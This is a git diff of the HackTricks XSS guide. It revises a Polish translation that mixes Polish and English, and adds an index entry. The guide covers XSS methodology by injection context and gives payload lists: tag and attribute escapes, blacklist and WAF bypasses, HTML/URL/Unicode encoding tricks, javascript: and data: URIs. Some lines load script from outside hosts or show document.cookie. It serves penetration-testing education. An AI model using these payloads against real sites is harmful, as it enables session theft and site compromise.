diff --git a/src/SUMMARY.md b/src/SUMMARY.md
index be4d4275a..4c7d77d24 100644
--- a/src/SUMMARY.md
+++ b/src/SUMMARY.md
@@ -725,6 +725,7 @@
   - [SOME - Same Origin Method Execution](pentesting-web/xss-cross-site-scripting/some-same-origin-method-execution.md)
   - [Sniff Leak](pentesting-web/xss-cross-site-scripting/sniff-leak.md)
   - [Steal Info JS](pentesting-web/xss-cross-site-scripting/steal-info-js.md)
+  - [Wasm Linear Memory Template Overwrite Xss](pentesting-web/xss-cross-site-scripting/wasm-linear-memory-template-overwrite-xss.md)
   - [XSS in Markdown](pentesting-web/xss-cross-site-scripting/xss-in-markdown.md)
 - [XSSI (Cross-Site Script Inclusion)](pentesting-web/xssi-cross-site-script-inclusion.md)
 - [XS-Search/XS-Leaks](pentesting-web/xs-search/README.md)
diff --git a/src/pentesting-web/xss-cross-site-scripting/README.md b/src/pentesting-web/xss-cross-site-scripting/README.md
index 1b16d6e35..fd8035c19 100644
--- a/src/pentesting-web/xss-cross-site-scripting/README.md
+++ b/src/pentesting-web/xss-cross-site-scripting/README.md
@@ -2,34 +2,35 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## Metodologia
+## Methodology
 
-1. Sprawdź, czy **jakakolwiek wartość przez Ciebie kontrolowana** (_parameters_, _path_, _headers_?, _cookies_?) jest **reflektowana** w HTML lub **używana** przez **JS**.
-2. **Znajdź kontekst**, w którym jest reflektowana/używana.
-3. Jeśli **reflektowana**
-1. Sprawdź, **jakie symbole możesz użyć** i w zależności od tego przygotuj payload:
-1. W **surowym HTML**:
-1. Czy możesz tworzyć nowe tagi HTML?
-2. Czy możesz użyć eventów lub atrybutów wspierających protokół `javascript:`?
+1. Sprawdź, czy **jakakolwiek wartość, którą kontrolujesz** (_parameters_, _path_, _headers_?, _cookies_?) jest **odbijana** w HTML lub **używana** przez kod **JS**.
+2. **Znajdź kontekst**, w którym jest odbijana/używana.
+3. Jeśli **odbita**
+1. Sprawdź, **które symbole możesz użyć** i w zależności od tego przygotuj payload:
+1. W **raw HTML**:
+1. Czy możesz stworzyć nowe tagi HTML?
+2. Czy możesz użyć eventów lub atrybutów obsługujących protokół `javascript:`?
 3. Czy możesz obejść zabezpieczenia?
-4. Czy zawartość HTML jest interpretowana przez jakiś klientowy silnik JS (_AngularJS_, _VueJS_, _Mavo_...), który możesz wykorzystać poprzez [Client Side Template Injection](../client-side-template-injection-csti.md).
-5. Jeśli nie możesz stworzyć tagów HTML wykonujących JS, czy możesz wykorzystać [Dangling Markup - HTML scriptless injection](../dangling-markup-html-scriptless-injection/index.html)?
+4. Czy zawartość HTML jest interpretowana przez jakiś client side JS engine (_AngularJS_, _VueJS_, _Mavo_...), możesz wykorzystać [**Client Side Template Injection**](../client-side-template-injection-csti.md).
+5. Jeśli nie możesz tworzyć tagów HTML wykonujących JS, czy możesz wykorzystać [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/index.html)?
 2. Wewnątrz **tagu HTML**:
-1. Czy możesz wyjść do surowego kontekstu HTML?
-2. Czy możesz stworzyć nowe eventy/atrybuty wykonujące JS?
-3. Czy atrybut, w którym jesteś uwięziony, wspiera wykonanie JS?
+1. Czy możesz wyjść do raw HTML context?
+2. Czy możesz stworzyć nowe eventy/atrybuty wykonujące kod JS?
+3. Czy atrybut, w którym jesteś uwięziony, obsługuje wykonanie JS?
 4. Czy możesz obejść zabezpieczenia?
 3. Wewnątrz **kodu JavaScript**:
 1. Czy możesz uciec z tagu `<script>`?
 2. Czy możesz uciec ze stringa i wykonać inny kod JS?
-3. Czy Twoje dane wejściowe są w template literals \`\`?
+3. Czy twoje inputy są w template literals \`\`?
 4. Czy możesz obejść zabezpieczenia?
-4. Funkcja Javascript jest **wykonywana**
+4. Javascript **funkcja** będąca **wywoływana**
 1. Możesz wskazać nazwę funkcji do wykonania. np.: `?callback=alert(1)`
 4. Jeśli **używane**:
-1. Możesz wykorzystać **DOM XSS**, zwróć uwagę jak Twoje dane są kontrolowane i czy Twoje **kontrolowane dane są używane przez jakiś sink.**
+1. Możesz wykorzystać **DOM XSS**, zwróć uwagę jak twój input jest kontrolowany i czy twój **kontrolowany input jest używany przez jakiś sink.**
+
+Pracując nad skomplikowanym XSS może być przydatne zapoznanie się z:
 
-Pracując nad złożonym XSS może Cię zainteresować:
 
 {{#ref}}
 debugging-client-side-js.md
@@ -37,31 +38,31 @@ debugging-client-side-js.md
 
 ## Reflected values
 
-Aby skutecznie wykorzystać XSS, pierwszą rzeczą jaką musisz znaleźć jest **wartość kontrolowana przez Ciebie, która jest reflektowana** na stronie.
+Aby skutecznie wykorzystać XSS pierwszą rzeczą, którą musisz znaleźć, jest **wartość kontrolowana przez Ciebie, która jest odbijana** na stronie.
 
-- **Intermediately reflected**: Jeśli znajdziesz, że wartość parametru lub nawet ścieżka jest reflektowana na stronie, możesz wykorzystać **Reflected XSS**.
-- **Stored and reflected**: Jeśli wartość kontrolowana przez Ciebie jest zapisywana na serwerze i jest reflektowana za każdym razem, gdy otwierasz stronę, możesz wykorzystać **Stored XSS**.
-- **Accessed via JS**: Jeśli wartość kontrolowana przez Ciebie jest dostępna przez JS, możesz wykorzystać **DOM XSS**.
+- **Intermediately reflected**: Jeśli znajdziesz, że wartość parametru lub nawet path jest odbijana na stronie, możesz wykorzystać **Reflected XSS**.
+- **Stored and reflected**: Jeśli znajdziesz, że wartość kontrolowana przez Ciebie jest zapisywana na serwerze i jest odbijana za każdym razem gdy odwiedzasz stronę, możesz wykorzystać **Stored XSS**.
+- **Accessed via JS**: Jeśli znajdziesz, że wartość kontrolowana przez Ciebie jest dostępna za pomocą JS, możesz wykorzystać **DOM XSS**.
 
 ## Contexts
 
-Próbując wykorzystać XSS pierwszą rzeczą, którą musisz wiedzieć, jest **gdzie Twoje dane są reflektowane**. W zależności od kontekstu, będziesz mógł wykonać dowolny kod JS na różne sposoby.
+Przy próbie wykorzystania XSS pierwszą rzeczą, którą musisz wiedzieć, jest **gdzie twój input jest odbijany**. W zależności od kontekstu będziesz mógł uruchomić dowolny kod JS na różne sposoby.
 
-### Surowy HTML
+### Raw HTML
 
-Jeśli Twoje dane są **reflektowane w surowym HTML** strony, będziesz musiał wykorzystać jakiś **tag HTML** żeby wykonać kod JS: `<img , <iframe , <svg , <script` ... to tylko niektóre z wielu możliwych tagów HTML, których możesz użyć.\
-Również pamiętaj o [Client Side Template Injection](../client-side-template-injection-csti.md).
+Jeśli twój input jest **odbijany w raw HTML** strony będziesz musiał użyć jakiegoś **tagu HTML**, aby wykonać kod JS: `<img , <iframe , <svg , <script` ... to tylko niektóre z wielu możliwych tagów HTML, których możesz użyć.\
+Pamiętaj też o [Client Side Template Injection](../client-side-template-injection-csti.md).
 
-### Wewnątrz atrybutu tagu HTML
+### Inside HTML tags attribute
 
-Jeśli Twoje dane są reflektowane wewnątrz wartości atrybutu taga, możesz spróbować:
+Jeśli twój input jest odbijany wewnątrz wartości atrybutu taga, możesz spróbować:
 
-1. **Uciec z atrybutu i z taga** (wtedy znajdziesz się w surowym HTML) i stworzyć nowy tag HTML do wykorzystania: `"><img [...]`
-2. Jeśli **możesz uciec z atrybutu, ale nie z taga** (`>` jest kodowany lub usuwany), w zależności od taga możesz **stworzyć event**, który wykona kod JS: `" autofocus onfocus=alert(1) x="`
-3. Jeśli **nie możesz uciec z atrybutu** (`"` jest kodowane lub usuwane), to w zależności **który atrybut** zawiera Twoją wartość oraz czy kontrolujesz całość wartości czy tylko jej część, będziesz w stanie to wykorzystać. Na **przykład**, jeśli kontrolujesz event taki jak `onclick=` będziesz w stanie wykonać dowolny kod po kliknięciu. Innym interesującym **przykładem** jest atrybut `href`, gdzie możesz użyć protokołu `javascript:` do wykonania dowolnego kodu: **`href="javascript:alert(1)"`**
-4. Jeśli Twoje dane są reflektowane wewnątrz "**nieeksploatowalnych tagów**", możesz spróbować triku z **`accesskey`** aby wykorzystać vuln (będziesz potrzebować pewnej formy social engineeringu): **`" accesskey="x" onclick="alert(1)" x="`**
+1. **Uciec z atrybutu i z taga** (wtedy znajdziesz się w raw HTML) i stworzyć nowy tag HTML do wykorzystania: `"><img [...]`
+2. Jeśli **możesz uciec z atrybutu, ale nie z taga** (`>` jest kodowane lub usuwane), w zależności od taga możesz **stworzyć event**, który wykona kod JS: `" autofocus onfocus=alert(1) x="`
+3. Jeśli **nie możesz uciec z atrybutu** (`"` jest kodowane lub usuwane), to w zależności od **którego atrybutu** dotyczy odbicie oraz **czy kontrolujesz całą wartość czy tylko jej część** będziesz mógł to wykorzystać. Na **przykład**, jeśli kontrolujesz event jak `onclick=` będziesz w stanie sprawić, że wykona on dowolny kod po kliknięciu. Innym interesującym **przykładem** jest atrybut `href`, gdzie możesz użyć protokołu `javascript:` żeby wykonać kod: **`href="javascript:alert(1)"`**
+4. Jeśli twój input jest odbijany wewnątrz „unexpoitable tags” możesz spróbować sztuczki z **`accesskey`** aby wykorzystać podatność (będziesz potrzebował jakiegoś social engineeringu): **`" accesskey="x" onclick="alert(1)" x="`**
 
-Dziwny przykład Angular wykonującego XSS jeśli kontrolujesz nazwę klasy:
+Dziwny przykład, gdzie Angular wykonuje XSS jeśli kontrolujesz nazwę klasy:
 ```html
 <div ng-app>
 <strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
@@ -69,15 +70,15 @@ Dziwny przykład Angular wykonującego XSS jeśli kontrolujesz nazwę klasy:
 ```
 ### W kodzie JavaScript
 
-W tym przypadku Twoje dane wejściowe są odzwierciedlane pomiędzy **`<script> [...] </script>`** tagami strony HTML, wewnątrz pliku `.js` lub w atrybucie używającym protokołu **`javascript:`**:
+W tym przypadku Twoje dane wejściowe są odzwierciedlane między **`<script> [...] </script>`** tagami strony HTML, wewnątrz pliku `.js` lub wewnątrz atrybutu używającego protokołu **`javascript:`**:
 
-- Jeśli jest odzwierciedlane pomiędzy **`<script> [...] </script>`** tagami, nawet jeśli Twoje dane są wewnątrz jakiegokolwiek rodzaju cudzysłowów, możesz spróbować wstrzyknąć `</script>` i uciec z tego kontekstu. Działa to, ponieważ **przeglądarka najpierw sparsuje tagi HTML**, a dopiero potem ich zawartość, w związku z czym nie zauważy, że wstrzyknięty `</script>` znajduje się w kodzie HTML.
-- Jeśli jest odzwierciedlane **inside a JS string** i poprzedni trik nie działa, będziesz musiał **opuścić** string, **wykonać** swój kod i **odtworzyć** kod JS (jeśli wystąpi jakikolwiek błąd, nie zostanie on wykonany):
+- Jeśli jest odzwierciedlany między **`<script> [...] </script>`** tagami, nawet jeśli Twoje dane wejściowe są wewnątrz jakichkolwiek cudzysłowów, możesz spróbować wstrzyknąć `</script>` i wydostać się z tego kontekstu. Działa to, ponieważ **przeglądarka najpierw sparsuje tagi HTML** i dopiero potem zawartość, więc nie zauważy, że wstrzyknięty tag `</script>` znajduje się wewnątrz kodu HTML.
+- Jeśli jest odzwierciedlany **wewnątrz a JS string** i poprzedni trik nie działa, musisz **wyjść** ze stringa, **wykonać** swój kod i **odtworzyć** kod JS (jeśli jest jakikolwiek błąd, nie zostanie on wykonany:
 - `'-alert(1)-'`
 - `';-alert(1)//`
 - `\';alert(1)//`
-- Jeśli jest odzwierciedlane wewnątrz template literals możesz **embed JS expressions** używając składni `${ ... }`: `` var greetings = `Hello, ${alert(1)}` ``
-- **Kodowanie Unicode** umożliwia zapisanie **prawidłowego kodu JavaScript**:
+- Jeśli jest odzwierciedlany wewnątrz template literals możesz **osadzić wyrażenia JS** używając składni `${ ... }`: `` var greetings = `Hello, ${alert(1)}` ``
+- **Unicode encode** works to write **valid javascript code**:
 ```javascript
 alert(1)
 alert(1)
@@ -85,8 +86,8 @@ alert(1)
 ```
 #### Javascript Hoisting
 
-Javascript Hoisting odnosi się do możliwości **zadeklarowania funkcji, zmiennych lub klas po ich użyciu, co pozwala nadużywać scenariuszy, w których XSS używa niezadeklarowanych zmiennych lub funkcji.**\
-**Sprawdź następującą stronę po więcej informacji:**
+Javascript Hoisting odnosi się do możliwości **zadeklarowania funkcji, zmiennych lub klas po ich użyciu, aby nadużyć scenariuszy, w których XSS używa niezadeklarowanych zmiennych lub funkcji.**\
+**Sprawdź następującą stronę, aby uzyskać więcej informacji:**
 
 
 {{#ref}}
@@ -97,17 +98,17 @@ js-hoisting.md
 
 Wiele stron ma endpointy, które **przyjmują jako parametr nazwę funkcji do wykonania**. Częstym przykładem spotykanym w praktyce jest coś w stylu: `?callback=callbackFunc`.
 
-Dobrym sposobem, aby sprawdzić, czy coś przekazanego bezpośrednio przez użytkownika jest próbowane wykonać, jest **zmodyfikowanie wartości parametru** (na przykład na 'Vulnerable') i sprawdzenie w konsoli błędów takich jak:
+Dobrym sposobem, by sprawdzić czy coś podanego bezpośrednio przez użytkownika jest próbowane do wykonania, jest **zmodyfikować wartość parametru** (na przykład na 'Vulnerable') i sprawdzić w konsoli błędy takie jak:
 
 ![](<../../images/image (711).png>)
 
-Jeśli jest podatne, możesz być w stanie **wywołać alert** po prostu wysyłając wartość: **`?callback=alert(1)`**. Jednak często takie endpointy **weryfikują zawartość**, aby pozwolić tylko na litery, cyfry, kropki i podkreślenia (**`[\w\._]`**).
+Jeśli jest podatne, możesz być w stanie **wywołać alert** po prostu wysyłając wartość: **`?callback=alert(1)`**. Jednak bardzo często takie endpointy **walidują zawartość**, aby pozwolić tylko na litery, cyfry, kropki i podkreślenia (**`[\w\._]`**).
 
-Nawet z tym ograniczeniem nadal można wykonać pewne akcje. Dzieje się tak, ponieważ możesz użyć dozwolonych znaków, aby **uzyskać dostęp do dowolnego elementu w DOM**:
+Jednak nawet przy tym ograniczeniu nadal można wykonać pewne operacje. Wynika to z faktu, że można użyć tych dozwolonych znaków, aby **uzyskać dostęp do dowolnego elementu w DOM**:
 
 ![](<../../images/image (747).png>)
 
-Przydatne funkcje do tego:
+Kilka przydatnych funkcji do tego:
 ```
 firstElementChild
 lastElementChild
@@ -115,11 +116,11 @@ nextElementSibiling
 lastElementSibiling
 parentElement
 ```
-Możesz też spróbować **trigger Javascript functions** bezpośrednio: `obj.sales.delOrders`.
+Możesz również spróbować **wywołać Javascript functions** bezpośrednio: `obj.sales.delOrders`.
 
-Jednak zazwyczaj endpoints wykonujące wskazaną funkcję to endpoints bez zbyt interesującego DOM, **other pages in the same origin** będą miały **more interesting DOM** do wykonania większej liczby akcji.
+Jednak zwykle endpointy wykonujące wskazaną funkcję to endpointy bez zbytnio interesującego DOM, **inne strony w tym samym originie** będą miały **bardziej interesujący DOM** do wykonania dodatkowych akcji.
 
-W związku z tym, aby **abuse this vulnerability in a different DOM** opracowano exploitację **Same Origin Method Execution (SOME)**:
+W związku z tym, aby **wykorzystać tę podatność w innym DOM** opracowano exploitację **Same Origin Method Execution (SOME)**:
 
 
 {{#ref}}
@@ -128,7 +129,7 @@ some-same-origin-method-execution.md
 
 ### DOM
 
-Istnieje **JS code**, który w niebezpieczny sposób używa pewnych **danych kontrolowanych przez atakującego**, takich jak `location.href`. Atakujący może to wykorzystać do wykonania dowolnego kodu JS.
+Istnieje **JS code**, który w **niebezpieczny sposób** używa danych **kontrolowanych przez atakującego**, takich jak `location.href`. Atakujący może to wykorzystać do wykonania dowolnego kodu JS.
 
 
 {{#ref}}
@@ -137,8 +138,8 @@ dom-xss.md
 
 ### **Universal XSS**
 
-Ten rodzaj XSS może występować **anywhere**. Nie zależą one tylko od eksploatacji po stronie klienta aplikacji webowej, lecz od **any** **context**. Ten rodzaj **arbitrary JavaScript execution** może być nawet wykorzystany do uzyskania **RCE**, **read** **arbitrary** **files** na klientach i serwerach, i więcej.\
-Some **examples**:
+Tego typu XSS można znaleźć **wszędzie**. Nie zależą one wyłącznie od eksploatacji po stronie klienta aplikacji webowej, lecz od **dowolnego** **kontekstu**. Tego typu **dowolne wykonanie JavaScript** może być nawet wykorzystane do uzyskania **RCE**, **odczytu** **dowolnych** **plików** na klientach i serwerach i innych.\
+Niektóre **przykłady**:
 
 
 {{#ref}}
@@ -150,17 +151,17 @@ server-side-xss-dynamic-pdf.md
 ../../network-services-pentesting/pentesting-web/electron-desktop-apps/
 {{#endref}}
 
-## WAF bypass encoding image
+## Obraz kodowania omijającego WAF
 
 ![from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21](<../../images/EauBb2EX0AERaNK (1).jpg>)
 
-## Injecting inside raw HTML
+## Wstrzykiwanie do surowego HTML
 
-Gdy Twój input jest odzwierciedlany **inside the HTML page** lub możesz w tym kontekście uciec i wstrzyknąć kod HTML, **pierwsza** rzecz, którą musisz zrobić, to sprawdzić, czy możesz nadużyć `<`, aby stworzyć nowe tagi: Po prostu spróbuj **reflect** tego **char** i sprawdź, czy jest **HTML encoded** lub **deleted** albo czy jest **reflected without changes**. **Tylko w ostatnim przypadku będziesz mógł to wykorzystać**.\
-W takich przypadkach także **pamiętaj** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
-_**Note: A HTML comment can be closed using\*\***\***\*`-->`\*\***\***\*or \*\***`--!>`\*\***\***\*_
+Kiedy twoje dane wejściowe są odzwierciedlane **wewnątrz strony HTML** lub możesz uciec i wstrzykiwać kod HTML w tym kontekście, pierwszą rzeczą, którą musisz zrobić, jest sprawdzenie, czy możesz wykorzystać `<` do tworzenia nowych tagów: Po prostu spróbuj **odzwierciedlić** ten **znak** i sprawdź, czy jest **zakodowany jako HTML**, **usuwany** czy **odzwierciedlony bez zmian**. **Tylko w tym ostatnim przypadku będziesz mógł to wykorzystać**.\
+W takich przypadkach miej też na uwadze [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
+_**Uwaga: Komentarz HTML można zamknąć używając\*\***\***\*`-->`\*\***\***\*lub \*\***`--!>`\*\*_
 
-W tym przypadku i jeśli nie są stosowane żadne black/whitelisting, możesz użyć payloadów takich jak:
+W tym przypadku i jeśli nie stosuje się black/whitelisting, możesz użyć payloadów takich jak:
 ```html
 <script>
 alert(1)
@@ -168,22 +169,22 @@ alert(1)
 <img src="x" onerror="alert(1)" />
 <svg onload=alert('XSS')>
 ```
-Ale jeśli stosowane jest tags/attributes black/whitelisting, będziesz musiał **brute-force, które tagi** możesz utworzyć.\
-Gdy **zlokalizujesz, które tagi są dozwolone**, będziesz musiał **brute-force atrybuty/zdarzenia** wewnątrz znalezionych poprawnych tagów, aby sprawdzić, jak możesz zaatakować kontekst.
+Ale, jeśli tags/attributes black/whitelisting jest używany, będziesz musiał **brute-force which tags** możesz utworzyć.\
+Gdy już **located which tags are allowed**, będziesz musiał **brute-force attributes/events** wewnątrz znalezionych poprawnych tagów, aby sprawdzić, jak możesz zaatakować kontekst.
 
-### Tagi/Zdarzenia brute-force
+### Tags/Events brute-force
 
-Przejdź do [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) i kliknij _**Copy tags to clipboard**_. Następnie wyślij wszystkie za pomocą Burp intruder i sprawdź, czy któryś z tagów nie został wykryty jako złośliwy przez WAF. Gdy odkryjesz, których tagów możesz użyć, możesz **brute-force wszystkie zdarzenia** używając dozwolonych tagów (na tej samej stronie kliknij _**Copy events to clipboard**_ i wykonaj tę samą procedurę co wcześniej).
+Go to [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) and click on _**Copy tags to clipboard**_. Następnie wyślij je wszystkie przy użyciu Burp intruder i sprawdź, czy któryś z tagów nie został wykryty jako złośliwy przez WAF. Gdy odkryjesz, których tagów możesz użyć, możesz **brute force all the events** używając poprawnych tagów (na tej samej stronie kliknij _**Copy events to clipboard**_ i wykonaj tę samą procedurę co poprzednio).
 
-### Niestandardowe tagi
+### Custom tags
 
-Jeśli nie znalazłeś żadnego poprawnego tagu HTML, możesz spróbować **utworzyć niestandardowy tag** i wykonać kod JS za pomocą atrybutu `onfocus`. W żądaniu XSS musisz zakończyć URL znakiem `#`, aby strona **ustawiła focus na tym obiekcie** i **wykonała** kod:
+If you didn't find any valid HTML tag, you could try to **create a custom tag** and and execute JS code with the `onfocus` attribute. W żądaniu XSS musisz zakończyć URL znakiem `#`, aby strona **focus on that object** i **execute** kod:
 ```
 /?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
 ```
 ### Blacklist Bypasses
 
-Jeśli używana jest jakaś blacklist, możesz spróbować ją obejść kilkoma prostymi sztuczkami:
+Jeśli używana jest jakaś blacklist, możesz spróbować ją bypassować kilkoma głupimi sztuczkami:
 ```javascript
 //Random capitalization
 <script> --> <ScrIpT>
@@ -235,29 +236,29 @@ onerror=alert`1`
 ```
 ### Length bypass (small XSSs)
 
-> [!NOTE] > **Więcej tiny XSS dla różnych środowisk** payload [**można znaleźć tutaj**](https://github.com/terjanq/Tiny-XSS-Payloads) i [**tutaj**](https://tinyxss.terjanq.me).
+> [!NOTE] > **Więcej tiny XSS dla różnych środowisk** payload [**can be found here**](https://github.com/terjanq/Tiny-XSS-Payloads) and [**here**](https://tinyxss.terjanq.me).
 ```html
 <!-- Taken from the blog of Jorge Lajara -->
 <svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>
 ```
-Ostatni używa 2 unicode znaków, które rozwijają się do 5: telsr\
-More of these characters can be found [here](https://www.unicode.org/charts/normalization/).\
-Aby sprawdzić, na które znaki są dekomponowane sprawdź [here](https://www.compart.com/en/unicode/U+2121).
+The last one is using 2 unicode characters which expands to 5: telsr\
+Więcej takich znaków można znaleźć [here](https://www.unicode.org/charts/normalization/).\
+Aby sprawdzić, na jakie znaki są rozkładane, sprawdź [here](https://www.compart.com/en/unicode/U+2121).
 
 ### Click XSS - Clickjacking
 
-If in order to exploit the vulnerability you need the **użytkownik kliknął w link lub formularz** with prepopulated data you could try to [**abuse Clickjacking**](../clickjacking.md#xss-clickjacking) (if the page is vulnerable).
+Jeśli, aby wykorzystać podatność, potrzebujesz, aby **użytkownik kliknął link lub formularz** z wstępnie wypełnionymi danymi, możesz spróbować [**abuse Clickjacking**](../clickjacking.md#xss-clickjacking) (jeśli strona jest podatna).
 
-### Niemożliwe - Dangling Markup
+### Impossible - Dangling Markup
 
-Jeśli po prostu myślisz, że **stworzenie tagu HTML z atrybutem uruchamiającym kod JS jest niemożliwe**, powinieneś sprawdzić [**Danglig Markup** ](../dangling-markup-html-scriptless-injection/index.html)ponieważ możesz **exploit** the vulnerability **without** executing **JS** code.
+Jeśli uważasz, że **niemożliwe jest stworzenie HTML tag z atrybutem, który wykona JS code**, powinieneś sprawdzić [**Danglig Markup** ](../dangling-markup-html-scriptless-injection/index.html) ponieważ możesz **exploit** podatność **bez** wykonywania **JS** code.
 
-## Injecting inside HTML tag
+## Wstrzykiwanie wewnątrz tagu HTML
 
-### Inside the tag/escaping from attribute value
+### Wewnątrz tagu/ucieczka z wartości atrybutu
 
-If you are in **wewnątrz tagu HTML**, the first thing you could try is to **uciec** z tagu and use some of the techniques mentioned in the [previous section](#injecting-inside-raw-html) to execute JS code.\
-If you **cannot escape from the tag**, you could create new attributes inside the tag to try to execute JS code, for example using some payload like (_note that in this example double quotes are use to escape from the attribute, you won't need them if your input is reflected directly inside the tag_):
+Jeśli jesteś **inside a HTML tag**, pierwszą rzeczą, którą możesz spróbować, jest **escape** z tagu i użyć niektórych technik wymienionych w [previous section](#injecting-inside-raw-html) aby wykonać JS code.\  
+Jeśli **nie możesz uciec z tagu**, możesz stworzyć nowe atrybuty wewnątrz tagu, aby spróbować wykonać JS code, na przykład używając payloadu takiego jak (_uwaga: w tym przykładzie do ucieczki z atrybutu użyto podwójnych cudzysłowów, nie będziesz ich potrzebować jeśli twoje wejście jest odzwierciedlone bezpośrednio wewnątrz tagu_):
 ```bash
 " autofocus onfocus=alert(document.domain) x="
 " onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
@@ -274,14 +275,14 @@ If you **cannot escape from the tag**, you could create new attributes inside th
 ```
 ### W atrybucie
 
-Nawet jeśli **nie możesz uciec z atrybutu** (`"` jest kodowany lub usuwany), w zależności od **którego atrybutu** wartość jest odzwierciedlana oraz czy kontrolujesz całą wartość czy tylko jej część, będziesz w stanie to wykorzystać. Na **przykład**, jeśli kontrolujesz zdarzenie takie jak `onclick=` będziesz w stanie sprawić, że wykona dowolny kod po kliknięciu.\
-Innym interesującym **przykładem** jest atrybut `href`, gdzie możesz użyć protokołu `javascript:` aby wykonać dowolny kod: **`href="javascript:alert(1)"`**
+Nawet jeśli **nie możesz uciec z atrybutu** (`"` jest kodowany lub usuwany), w zależności od **którego atrybutu** wartość jest odzwierciedlana i **czy kontrolujesz całą wartość, czy tylko jej część**, będziesz w stanie to wykorzystać. Na **przykład**, jeśli kontrolujesz zdarzenie takie jak `onclick=` będziesz w stanie spowodować wykonanie dowolnego kodu po kliknięciu.\
+Inny ciekawy **przykład** to atrybut `href`, gdzie możesz użyć protokołu `javascript:` do wykonania dowolnego kodu: **`href="javascript:alert(1)"`**
 
-**Bypass inside event using HTML encoding/URL encode**
+**Omijanie wewnątrz zdarzenia przy użyciu kodowania HTML/URL**
 
-**Znaki zakodowane w HTML** wewnątrz wartości atrybutów tagów HTML są **dekodowane w czasie wykonywania**. Dlatego coś takiego będzie poprawne (payload jest pogrubiony): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Go Back </a>`
+Zakodowane znaki HTML wewnątrz wartości atrybutów tagów HTML są **dekodowane w czasie wykonywania**. W związku z tym coś takiego będzie poprawne (ładunek jest pogrubiony): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Go Back </a>`
 
-Zauważ, że **dowolny rodzaj kodowania HTML jest obsługiwany**:
+Zauważ, że **każdy rodzaj kodowania HTML jest poprawny**:
 ```javascript
 //HTML entities
 &apos;-alert(1)-&apos;
@@ -298,11 +299,11 @@ Zauważ, że **dowolny rodzaj kodowania HTML jest obsługiwany**:
 <a href="&#106;avascript:alert(2)">a</a>
 <a href="jav&#x61script:alert(3)">a</a>
 ```
-**Zauważ, że URL encode również zadziała:**
+**Zauważ, że kodowanie URL również zadziała:**
 ```python
 <a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
 ```
-**Bypass wewnątrz zdarzenia przy użyciu Unicode encode**
+**Bypass wewnątrz eventu używając Unicode encode**
 ```javascript
 //For some reason you can use unicode to encode "alert" but not "(1)"
 <img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
@@ -310,7 +311,7 @@ Zauważ, że **dowolny rodzaj kodowania HTML jest obsługiwany**:
 ```
 ### Specjalne protokoły w atrybucie
 
-Możesz tam użyć protokołów **`javascript:`** lub **`data:`** w niektórych miejscach, aby **wykonać dowolny kod JS**. Niektóre będą wymagać interakcji użytkownika, inne nie.
+Tam możesz użyć protokołów **`javascript:`** lub **`data:`** w niektórych miejscach, aby **wykonać dowolny kod JS**. Niektóre będą wymagać interakcji użytkownika, inne nie.
 ```javascript
 javascript:alert(1)
 JavaSCript:alert(1)
@@ -332,7 +333,7 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
 ```
 **Miejsca, w których możesz wstrzykiwać te protokoły**
 
-**Ogólnie** protokół `javascript:` może być **użyty w dowolnym tagu, który akceptuje atrybut `href`** i w **większości** tagów, które akceptują **atrybut `src`** (ale nie w `<img>`)
+**Ogólnie** protokół `javascript:` może być **użyty w każdym tagu, który akceptuje atrybut `href`** oraz w **większości** tagów, które akceptują **atrybut `src`** (ale nie `<img>`)
 ```html
 <a href="javascript:alert(1)">
 <a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
@@ -352,23 +353,23 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
 <embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
 <iframe srcdoc="<svg onload=alert(4);>">
 ```
-**Inne obfuscation tricks**
+**Inne techniki zaciemniania**
 
-_**W tym przypadku HTML encoding i Unicode encoding trick z poprzedniej sekcji również działają, ponieważ znajdujesz się wewnątrz atrybutu.**_
+_**W tym przypadku kodowanie HTML i kodowanie Unicode z poprzedniej sekcji również jest poprawne, ponieważ znajdujesz się wewnątrz atrybutu.**_
 ```javascript
 <a href="javascript:var a='&apos;-alert(1)-&apos;'">
 ```
-Co więcej, istnieje jeszcze jedna **przydatna sztuczka** dla tych przypadków: **Nawet jeśli twoje wejście wewnątrz `javascript:...` jest URL encoded, zostanie URL decoded zanim zostanie wykonane.** Dlatego, jeśli musisz **escape** z **string** używając **single quote** i widzisz, że **jest URL encoded**, pamiętaj, że **to nie ma znaczenia,** zostanie **zinterpretowane** jako **single quote** podczas **wykonania**.
+Co więcej, istnieje jeszcze jeden **fajny trik** dla tych przypadków: **Nawet jeśli Twój input wewnątrz `javascript:...` jest URL encoded, zostanie URL decoded zanim zostanie wykonany.** Zatem, jeśli musisz **escape** z **stringu** używając **single quote** i widzisz, że **jest URL encoded**, pamiętaj, że **to nie ma znaczenia,** zostanie **interpreted** jako **single quote** podczas **execution** time.
 ```javascript
 &apos;-alert(1)-&apos;
 %27-alert(1)-%27
 <iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
 ```
-Zauważ, że jeśli spróbujesz **użyć obu** `URLencode + HTMLencode` w dowolnej kolejności, aby zakodować **payload**, to **nie zadziała**, ale możesz **mieszać je wewnątrz payload**.
